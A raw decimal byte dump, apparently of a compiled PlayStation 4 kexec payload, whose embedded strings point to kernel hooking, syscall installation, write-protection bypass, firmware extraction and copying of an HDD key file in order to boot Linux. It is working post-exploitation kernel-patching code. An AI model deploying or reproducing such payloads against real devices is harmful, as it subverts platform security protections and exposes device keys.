0,0,72,141,178,208,133,244,255,247,198,255,63,0,0,72,137,53,240,17,0,0,116,16,72,141,61,127,16,0,0,49,192,255,210,233,253,1,0,0,49,192,72,141,61,137,16,0,0,255,210,72,139,5,204,17,0,0,72,139,21,165,17,0,0,139,176,164,4,185,1,139,128,168,4,185,1,72,193,230,39,72,193,224,30,72,9,198,184,255,255,1,0,72,193,224,47,72,9,198,72,133,210,72,137,53,160,17,0,0,116,11,72,141,61,87,16,0,0,49,192,255,210,156,91,250,49,192,232,30,253,255,255,72,199,5,14,18,0,0,0,0,0,0,72,137,197,72,139,5,108,17,0,0,72,141,144,48,122,11,0,72,141,136,48,125,11,0,72,137,21,103,17,0,0,72,137,21,48,17,0,0,72,141,144,160,22,39,0,72,137,21,98,17,0,0,72,141,144,176,21,39,0,72,137,13,76,17,0,0,72,141,136,240,208,28,0,72,137,21,78,17,0,0,72,141,144,80,27,39,0,72,137,21,72,17,0,0,72,141,144,72,141,38,2,72,137,13,130,17,0,0,72,141,136,240,43,67,0,72,137,21,52,17,0,0,72,141,144,176,4,185,1,72,137,13,110,17,0,0,72,141,136,0,42,67,0,72,137,21,32,17,0,0,72,141,144,128,8,39,0,72,137,13,90,17,0,0,72,141,136,96,23,46,0,72,137,21,12,17,0,0,72,141,144,64,192,55,0,72,137,13,70,17,0,0,72,141,136,96,194,74,0,72,137,21,248,16,0,0,72,141,144,80,208,18,0,72,137,13,58,17,0,0,72,141,136,128,242,77,0,72,137,21,228,16,0,0,72,141,144,240,225,18,0,72,137,13,38,17,0,0,72,141,136,144,76,108,2,72,137,21,208,16,0,0,72,141,144,16,3,16,1,72,137,13,18,17,0,0,72,141,136,88,192,116,2,72,137,21,188,16,0,0,72,141,144,208,208,28,0,72,137,13,254,16,0,0,72,141,136,96,8,24,0,72,5,128,163,41,0,72,137,21,162,16,0,0,72,137,13,235,16,0,0,72,137,5,236,16,0,0,255,210,72,141,61,251,14,0,0,49,192,255,21,35,16,0,0,72,141,61,34,15,0,0,49,192,199,5,208,16,0,0,1,0,0,0,255,21,10,16,0,0,72,141,61,14,15,0,0,49,192,255,21,251,15,0,0,72,137,239,232,145,251,255,255,83,157,90,49,192,91,93,195,0,0,0,3,0,0,0,121,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,96,54,0,0,0,0,0,0,5,0,0,0,0,0,0,0,88,54,0,0,0,0,0,0,6,0,0,0,0,0,0,0,64,54,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,12,0,60,196,0,0,3,220,43,0,0,204,13,0,60,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,12,0,32,196,0,0,3,220,47,0,0,204,18,0,32,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,22,0,32,196,0,0,3,220,73,0,0,204,19,0,32,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,32,0,0,0,0,0,0,104,16,0,0,0,0,0,0,104,16,0,0,0,0,0,0,128,33,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,0,24,0,0,0,0,0,0,104,16,0,0,0,0,0,0,104,16,0,0,0,0,0,0,128,33,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,0,0,0,0,150,48,7,119,44,97,14,238,186,81,9,153,25,196,109,7,143,244,106,112,53,165,99,233,163,149,100,158,50,136,219,14,164,184,220,121,30,233,213,224,136,217,210,151,43,76,182,9,189,124,177,126,7,45,184,231,145,29,191,144,100,16,183,29,242,32,176,106,72,113,185,243,222,65,190,132,125,212,218,26,235,228,221,109,81,181,212,244,199,133,211,131,86,152,108,19,192,168,107,100,122,249,98,253,236,201,101,138,79,92,1,20,217,108,6,99,99,61,15,250,245,13,8,141,200,32,110,59,94,16,105,76,228,65,96,213,114,113,103,162,209,228,3,60,71,212,4,75,253,133,13,210,107,181,10,165,250,168,181,53,108,152,178,66,214,201,187,219,64,249,188,172,227,108,216,50,117,92,223,69,207,13,214,220,89,61,209,171,172,48,217,38,58,0,222,81,128,81,215,200,22,97,208,191,181,244,180,33,35,196,179,86,153,149,186,207,15,165,189,184,158,184,2,40,8,136,5,95,178,217,12,198,36,233,11,177,135,124,111,47,17,76,104,88,171,29,97,193,61,45,102,182,144,65,220,118,6,113,219,1,188,32,210,152,42,16,213,239,137,133,177,113,31,181,182,6,165,228,191,159,51,212,184,232,162,201,7,120,52,249,0,15,142,168,9,150,24,152,14,225,187,13,106,127,45,61,109,8,151,108,100,145,1,92,99,230,244,81,107,107,98,97,108,28,216,48,101,133,78,0,98,242,237,149,6,108,123,165,1,27,193,244,8,130,87,196,15,245,198,217,176,101,80,233,183,18,234,184,190,139,124,136,185,252,223,29,221,98,73,45,218,21,243,124,211,140,101,76,212,251,88,97,178,77,206,81,181,58,116,0,188,163,226,48,187,212,65,165,223,74,215,149,216,61,109,196,209,164,251,244,214,211,106,233,105,67,252,217,110,52,70,136,103,173,208,184,96,218,115,45,4,68,229,29,3,51,95,76,10,170,201,124,13,221,60,113,5,80,170,65,2,39,16,16,11,190,134,32,12,201,37,181,104,87,179,133,111,32,9,212,102,185,159,228,97,206,14,249,222,94,152,201,217,41,34,152,208,176,180,168,215,199,23,61,179,89,129,13,180,46,59,92,189,183,173,108,186,192,32,131,184,237,182,179,191,154,12,226,182,3,154,210,177,116,57,71,213,234,175,119,210,157,21,38,219,4,131,22,220,115,18,11,99,227,132,59,100,148,62,106,109,13,168,90,106,122,11,207,14,228,157,255,9,147,39,174,0,10,177,158,7,125,68,147,15,240,210,163,8,135,104,242,1,30,254,194,6,105,93,87,98,247,203,103,101,128,113,54,108,25,231,6,107,110,118,27,212,254,224,43,211,137,90,122,218,16,204,74,221,103,111,223,185,249,249,239,190,142,67,190,183,23,213,142,176,96,232,163,214,214,126,147,209,161,196,194,216,56,82,242,223,79,241,103,187,209,103,87,188,166,221,6,181,63,75,54,178,72,218,43,13,216,76,27,10,175,246,74,3,54,96,122,4,65,195,239,96,223,85,223,103,168,239,142,110,49,121,190,105,70,140,179,97,203,26,131,102,188,160,210,111,37,54,226,104,82,149,119,12,204,3,71,11,187,185,22,2,34,47,38,5,85,190,59,186,197,40,11,189,178,146,90,180,43,4,106,179,92,167,255,215,194,49,207,208,181,139,158,217,44,29,174,222,91,176,194,100,155,38,242,99,236,156,163,106,117,10,147,109,2,169,6,9,156,63,54,14,235,133,103,7,114,19,87,0,5,130,74,191,149,20,122,184,226,174,43,177,123,56,27,182,12,155,142,210,146,13,190,213,229,183,239,220,124,33,223,219,11,212,210,211,134,66,226,212,241,248,179,221,104,110,131,218,31,205,22,190,129,91,38,185,246,225,119,176,111,119,71,183,24,230,90,8,136,112,106,15,255,202,59,6,102,92,11,1,17,255,158,101,143,105,174,98,248,211,255,107,97,69,207,108,22,120,226,10,160,238,210,13,215,84,131,4,78,194,179,3,57,97,38,103,167,247,22,96,208,77,71,105,73,219,119,110,62,74,106,209,174,220,90,214,217,102,11,223,64,240,59,216,55,83,174,188,169,197,158,187,222,127,207,178,71,233,255,181,48,28,242,189,189,138,194,186,202,48,147,179,83,166,163,180,36,5,54,208,186,147,6,215,205,41,87,222,84,191,103,217,35,46,122,102,179,184,74,97,196,2,27,104,93,148,43,111,42,55,190,11,180,161,142,12,195,27,223,5,90,141,239,2,45,115,121,115,95,107,101,120,101,99,32,105,110,118,111,107,101,100,10,0,115,121,115,95,107,101,120,101,99,40,37,112,44,32,37,122,117,44,32,37,112,44,32,37,122,117,44,32,34,37,115,34,41,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,105,109,97,103,101,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,105,109,97,103,101,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,105,110,105,116,114,97,109,102,115,10,0,70,97,105,108,101,100,32,116,111,32,101,120,116,114,97,99,116,32,71,80,85,32,102,105,114,109,119,97,114,101,32,45,32,99,111,110,116,105,110,117,105,110,103,32,97,110,121,119,97,121,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,105,110,105,116,114,97,109,102,115,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,99,109,100,108,105,110,101,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,99,109,100,108,105,110,101,10,0,10,107,101,120,101,99,32,112,97,114,97,109,101,116,101,114,115,58,10,0,32,32,32,32,75,101,114,110,101,108,32,105,109,97,103,101,32,115,105,122,101,58,32,32,32,37,122,117,32,98,121,116,101,115,10,0,32,32,32,32,73,110,105,116,114,97,109,102,115,32,115,105,122,101,58,32,32,32,32,32,32,37,122,117,32,98,121,116,101,115,32,40,37,122,117,32,102,114,111,109,32,117,115,101,114,41,10,0,32,32,32,32,75,101,114,110,101,108,32,99,111,109,109,97,110,100,32,108,105,110,101,58,32,37,115,10,0,32,32,32,32,75,101,114,110,101,108,32,105,109,97,103,101,32,98,117,102,102,101,114,58,32,37,112,10,0,32,32,32,32,73,110,105,116,114,97,109,102,115,32,98,117,102,102,101,114,58,32,32,32,32,37,112,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,98,112,10,0,70,97,105,108,101,100,32,116,111,32,105,110,115,116,97,108,108,32,115,104,117,116,100,111,119,110,32,104,111,111,107,10,0,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,10,0,107,101,120,101,99,32,115,117,99,99,101,115,115,102,117,108,108,121,32,97,114,109,101,100,46,32,80,108,101,97,115,101,32,115,104,117,116,32,100,111,119,110,32,116,104,101,32,115,121,115,116,101,109,46,10,0,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,10,10,0,73,110,115,116,97,108,108,105,110,103,32,115,121,115,95,107,101,120,101,99,32,116,111,32,115,121,115,116,101,109,32,99,97,108,108,32,35,37,100,10,0,107,101,120,101,99,95,105,110,105,116,40,41,32,115,117,99,99,101,115,115,102,117,108,10,10,0,107,101,120,101,99,58,32,87,97,105,116,105,110,103,32,102,111,114,32,115,101,99,111,110,100,97,114,121,32,67,80,85,115,46,46,46,10,0,107,101,120,101,99,58,32,83,101,99,111,110,100,97,114,121,32,67,80,85,115,32,113,117,105,101,115,99,101,100,10,0,107,101,120,101,99,58,32,83,101,116,116,105,110,103,32,117,112,32,71,68,84,46,46,46,10,0,107,101,120,101,99,58,32,82,101,108,111,99,97,116,105,110,103,32,115,116,117,98,46,46,46,10,0,107,101,120,101,99,58,32,83,101,116,116,105,110,103,32,117,112,32,98,111,111,116,32,112,97,114,97,109,115,46,46,46,10,0,107,101,120,101,99,58,32,67,108,101,97,110,105,110,103,32,117,112,32,104,97,114,100,119,97,114,101,46,46,46,10,0,107,101,120,101,99,58,32,82,101,99,111,110,102,105,103,117,114,105,110,103,32,86,82,65,77,46,46,46,10,0,107,101,120,101,99,58,32,82,101,115,101,116,116,105,110,103,32,71,80,85,46,46,46,10,0,107,101,120,101,99,58,32,65,98,111,117,116,32,116,111,32,114,101,108,111,99,97,116,101,32,97,110,100,32,106,117,109,112,32,116,111,32,107,101,114,110,101,108,10,0,107,101,120,101,99,58,32,117,110,114,101,97,99,104,97,98,108,101,32,40,63,41,10,0,104,111,111,107,95,105,99,99,95,113,117,101,114,121,95,110,111,119,97,105,116,32,99,97,108,108,101,100,10,0,65,67,80,73,32,116,97,98,108,101,115,32,102,105,120,101,100,10,0,104,111,111,107,95,105,99,99,95,113,117,101,114,121,95,110,111,119,97,105,116,58,32,117,110,114,101,97,99,104,97,98,108,101,32,40,63,41,10,0,78,79,80,32,104,97,110,100,108,101,114,32,97,116,32,48,120,37,120,10,0,48,55,48,55,48,49,0,67,111,112,121,105,110,103,32,37,115,32,102,105,114,109,119,97,114,101,10,0,99,111,112,121,95,102,105,114,109,119,97,114,101,58,32,37,115,58,32,101,120,112,101,99,116,101,100,32,115,105,122,101,32,37,100,44,32,103,111,116,32,37,100,10,0,108,105,118,101,114,112,111,111,108,0,103,108,97,100,105,117,115,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,67,111,117,108,100,32,110,111,116,32,108,111,99,97,116,101,32,102,105,114,109,119,97,114,101,32,116,97,98,108,101,0,107,101,121,0,107,101,121,47,101,97,112,95,104,100,100,95,107,101,121,46,98,105,110,0,108,105,98,0,108,105,98,47,102,105,114,109,119,97,114,101,0,108,105,98,47,102,105,114,109,119,97,114,101,47,101,100,105,100,0,108,105,98,47,102,105,114,109,119,97,114,101,47,101,100,105,100,47,109,121,95,101,100,105,100,46,98,105,110,0,97,109,100,103,112,117,0,108,105,98,47,102,105,114,109,119,97,114,101,47,37,115,47,0,37,115,37,115,95,112,102,112,46,98,105,110,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,69,120,116,114,97,99,116,32,37,115,32,10,0,80,70,80,0,37,115,37,115,95,109,101,46,98,105,110,0,77,69,0,37,115,37,115,95,99,101,46,98,105,110,0,67,69,0,37,115,37,115,95,109,101,99,46,98,105,110,0,77,69,67,0,37,115,37,115,95,109,101,99,50,46,98,105,110,0,77,69,67,50,0,37,115,37,115,95,114,108,99,46,98,105,110,0,82,76,67,0,37,115,37,115,95,115,100,109,97,46,98,105,110,0,83,68,77,65,0,84,82,65,73,76,69,82,33,33,33,0,37,115,37,115,95,115,100,109,97,49,46,98,105,110,0,83,68,77,65,49,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,111,118,101,114,102,108,111,119,33,32,37,100,32,62,32,37,100,10,0,70,105,120,105,110,103,32,65,67,80,73,32,116,97,98,108,101,115,32,97,116,32,48,120,37,108,108,120,32,40,37,112,41,10,0,82,83,68,84,32,97,116,32,48,120,37,120,10,0,88,83,68,84,32,97,116,32,48,120,37,108,108,120,10,0,37,99,37,99,37,99,37,99,32,97,116,32,48,120,37,120,10,0,70,65,67,83,32,97,116,32,48,120,37,120,10,0,68,83,68,84,32,97,116,32,48,120,37,120,10,0,69,82,82,79,82,58,32,110,111,32,70,65,68,84,32,121,101,116,63,10,0,70,48,70,32,32,32,0,80,83,52,75,69,88,69,67,0,75,69,88,67,0,107,101,114,110,101,108,95,104,111,111,107,95,105,110,115,116,97,108,108,40,37,112,44,32,37,112,41,10,0,10,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,32,87,65,82,78,73,78,71,32,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,10,0,104,111,111,107,32,116,97,114,103,101,116,32,102,117,110,99,116,105,111,110,32,97,100,100,114,101,115,115,58,32,37,112,10,0,73,116,32,108,111,111,107,115,32,108,105,107,101,32,119,101,39,114,101,32,114,117,110,110,105,110,103,32,102,114,111,109,32,117,115,101,114,108,97,110,100,32,109,101,109,111,114,121,46,10,0,80,108,101,97,115,101,32,114,117,110,32,116,104,105,115,32,99,111,100,101,32,102,114,111,109,32,97,32,107,101,114,110,101,108,32,109,101,109,111,114,121,32,109,97,112,112,105,110,103,46,10,10,0,32,32,85,115,105,110,103,32,54,52,98,105,116,32,97,98,115,111,108,117,116,101,32,106,117,109,112,10,0,112,109,97,112,95,112,114,111,116,101,99,116,40,112,109,97,112,44,32,37,112,44,32,37,112,44,32,37,100,41,10,0,107,101,114,110,101,108,95,105,110,105,116,40,41,10,0,75,101,114,110,101,108,32,98,97,115,101,32,105,115,32,110,111,116,32,97,108,105,103,110,101,100,10,0,75,101,114,110,101,108,32,98,97,115,101,32,61,32,37,108,108,120,10,0,68,105,114,101,99,116,32,109,97,112,32,98,97,115,101,32,61,32,37,108,108,120,10,0,84,101,115,116,105,110,103,32,103,108,111,98,97,108,32,118,97,114,105,97,98,108,101,32,97,99,99,101,115,115,32,40,119,114,105,116,101,32,112,114,111,116,101,99,116,105,111,110,41,46,46,46,10,0,79,75,46,10,0,75,101,114,110,101,108,32,105,110,116,101,114,102,97,99,101,32,105,110,105,116,105,97,108,105,122,101,100,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,239,190,173,222,243,15,30,250,85,72,137,229,199,69,252,130,0,0,192,139,69,252,137,193,15,50,137,69,248,137,85,244,139,69,244,72,193,224,32,72,137,194,139,69,248,72,9,208,93,195,243,15,30,250,85,72,137,229,72,131,236,48,232,193,255,255,255,72,45,192,1,0,0,72,137,69,240,72,139,69,240,72,5,48,122,11,0,72,137,69,232,72,139,69,240,72,5,112,190,55,0,72,137,69,224,72,139,69,240,72,5,72,141,38,2,72,137,69,216,72,139,85,224,72,141,13,130,255,255,255,72,141,5,163,199,255,255,72,41,193,72,137,200,72,137,193,72,139,69,216,72,139,0,72,137,206,72,137,199,255,210,72,137,69,208,199,69,252,0,0,0,0,235,35,139,69,252,72,99,208,72,139,69,208,72,1,194,139,69,252,72,152,72,141,13,101,199,255,255,15,182,4,8,136,2,131,69,252,1,139,69,252,72,152,72,141,21,79,199,255,255,72,1,194,72,141,5,29,255,255,255,72,57,194,117,194,72,139,85,208,72,139,69,232,190,0,0,0,0,72,137,199,255,210,144,201,195,73,137,202,72,199,192,153,0,0,0,15,5,195,243,15,30,250,85,72,137,229,72,131,236,64,72,137,125,216,72,137,117,208,72,137,85,200,72,139,69,216,190,0,0,0,0,72,137,199,184,0,0,0,0,232,198,197,255,255,137,69,236,131,125,236,0,121,10,184,255,255,255,255,233,200,0,0,0,139,69,236,186,2,0,0,0,190,0,0,0,0,137,199,232,55,198,255,255,72,137,194,72,139,69,200,72,137,16,72,139,69,200,72,139,0,65,185,0,0,0,0,65,184,255,255,255,255,185,2,16,0,0,186,3,0,0,0,72,137,198,191,0,0,0,0,232,240,197,255,255,72,139,85,208,72,137,2,72,139,69,208,72,139,0,72,137,69,248,72,139,69,200,72,139,0,72,137,69,240,139,69,236,186,0,0,0,0,190,0,0,0,0,137,199,232,210,197,255,255,235,55,72,139,85,240,72,139,77,248,139,69,236,72,137,206,137,199,232,16,197,255,255,72,137,69,224,72,131,125,224,0,117,7,184,255,255,255,255,235,38,72,139,69,224,72,1,69,248,72,139,69,224,72,41,69,240,72,131,125,240,0,117,194,139,69,236,137,199,232,3,197,255,255,184,0,0,0,0,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,190,0,0,0,0,72,141,61,138,19,0,0,232,20,197,255,255,72,141,61,143,19,0,0,232,103,197,255,255,137,69,252,139,69,252,186,0,0,0,0,190,0,64,0,0,137,199,232,118,197,255,255,139,69,252,137,199,232,89,197,255,255,190,30,0,0,0,191,1,0,0,0,232,197,196,255,255,144,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,72,139,5,55,51,0,0,72,133,192,117,47,190,0,0,0,0,72,141,61,70,19,0,0,232,211,195,255,255,72,137,69,248,72,139,69,248,72,141,53,90,19,0,0,72,137,199,232,234,195,255,255,72,137,5,3,51,0,0,72,139,21,252,50,0,0,72,139,69,232,72,137,198,191,222,0,0,0,255,210,144,201,195,243,15,30,250,85,72,137,229,72,137,125,232,199,69,252,0,0,0,0,199,69,248,0,0,0,0,235,5,72,131,69,232,1,72,139,69,232,15,182,0,60,32,116,240,72,139,69,232,15,182,0,60,45,15,148,192,15,182,192,137,69,248,235,52,72,139,69,232,15,182,0,136,69,247,128,125,247,47,126,47,128,125,247,57,127,41,139,85,252,137,208,193,224,2,1,208,1,192,137,69,252,15,190,69,247,131,232,48,1,69,252,72,131,69,232,1,72,139,69,232,15,182,0,132,192,117,193,131,125,248,0,116,7,139,69,252,247,216,235,3,139,69,252,93,195,243,15,30,250,85,72,137,229,72,129,236,240,0,0,0,72,141,61,181,18,0,0,232,241,254,255,255,72,199,69,208,0,0,0,0,72,199,69,216,0,0,0,0,72,199,69,224,0,0,0,0,72,199,69,232,0,0,0,0,72,199,69,208,1,0,0,0,72,141,69,208,186,0,0,0,0,72,137,198,191,17,0,0,0,232,155,195,255,255,72,141,69,208,186,0,0,0,0,72,137,198,191,15,0,0,0,232,133,195,255,255,72,141,69,208,186,0,0,0,0,72,137,198,191,9,0,0,0,232,111,195,255,255,72,199,69,200,0,0,0,0,72,199,69,192,0,0,0,0,72,199,69,184,0,0,0,0,72,199,69,176,0,0,0,0,72,199,69,168,0,0,0,0,72,199,69,160,0,0,0,0,72,199,69,152,0,0,0,0,72,199,69,144,0,0,0,0,199,69,248,0,0,0,0,72,141,85,192,72,141,69,200,72,137,198,72,141,61,2,18,0,0,232,190,252,255,255,133,192,116,76,72,141,85,192,72,141,69,200,72,137,198,72,141,61,249,17,0,0,232,163,252,255,255,133,192,116,49,72,141,85,192,72,141,69,200,72,137,198,72,141,61,240,17,0,0,232,136,252,255,255,133,192,116,22,72,141,61,254,17,0,0,232,227,253,255,255,184,1,0,0,0,233,152,2,0,0,72,141,85,176,72,141,69,184,72,137,198,72,141,61,72,18,0,0,232,87,252,255,255,133,192,116,76,72,141,85,176,72,141,69,184,72,137,198,72,141,61,73,18,0,0,232,60,252,255,255,133,192,116,49,72,141,85,176,72,141,69,184,72,137,198,72,141,61,79,18,0,0,232,33,252,255,255,133,192,116,22,72,141,61,103,18,0,0,232,124,253,255,255,184,1,0,0,0,233,49,2,0,0,72,141,85,160,72,141,69,168,72,137,198,72,141,61,217,18,0,0,232,240,251,255,255,133,192,116,66,72,141,85,160,72,141,69,168,72,137,198,72,141,61,213,18,0,0,232,213,251,255,255,133,192,116,39,72,141,85,160,72,141,69,168,72,137,198,72,141,61,216,18,0,0,232,186,251,255,255,133,192,116,12,72,141,61,232,18,0,0,232,21,253,255,255,72,139,69,168,72,133,192,116,76,72,139,69,160,72,133,192,116,67,199,69,252,0,0,0,0,235,41,72,139,85,168,139,69,252,72,152,72,1,208,15,182,0,60,10,117,18,72,139,85,168,139,69,252,72,152,72,1,208,198,0,0,144,235,33,131,69,252,1,139,69,252,72,99,208,72,139,69,160,72,57,194,114,200,235,12,72,141,61,6,19,0,0,232,180,252,255,255,72,141,5,27,19,0,0,72,137,69,168,72,141,85,144,72,141,69,152,72,137,198,72,141,61,185,19,0,0,232,39,251,255,255,133,192,116,66,72,141,85,144,72,141,69,152,72,137,198,72,141,61,177,19,0,0,232,12,251,255,255,133,192,116,39,72,141,85,144,72,141,69,152,72,137,198,72,141,61,169,19,0,0,232,241,250,255,255,133,192,116,12,72,141,61,183,19,0,0,232,76,252,255,255,72,139,69,152,72,133,192,116,45,72,139,69,144,72,133,192,116,36,72,139,69,152,72,137,199,232,145,252,255,255,137,69,248,131,125,248,0,126,6,131,125,248,5,126,23,199,69,248,5,0,0,0,235,14,72,141,61,228,19,0,0,232,10,252,255,255,235,1,144,199,69,248,5,0,0,0,190,0,0,0,0,72,141,61,173,249,255,255,232,158,192,255,255,72,141,149,16,255,255,255,184,0,0,0,0,185,13,0,0,0,72,137,215,243,72,171,72,141,5,113,251,255,255,72,137,133,16,255,255,255,65,185,0,0,0,0,65,184,255,255,255,255,185,2,16,0,0,186,3,0,0,0,190,0,64,0,0,191,0,0,0,0,232,179,192,255,255,72,137,133,32,255,255,255,72,199,133,40,255,255,255,0,64,0,0,72,141,69,136,72,137,133,64,255,255,255,72,141,69,128,72,137,133,72,255,255,255,72,141,133,16,255,255,255,190,104,0,0,0,72,137,199,232,100,192,255,255,72,139,125,168,72,139,77,176,72,139,85,184,72,139,117,192,72,139,69,200,68,139,69,248,69,137,193,73,137,248,72,137,199,232,203,249,255,255,235,254,201,195,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,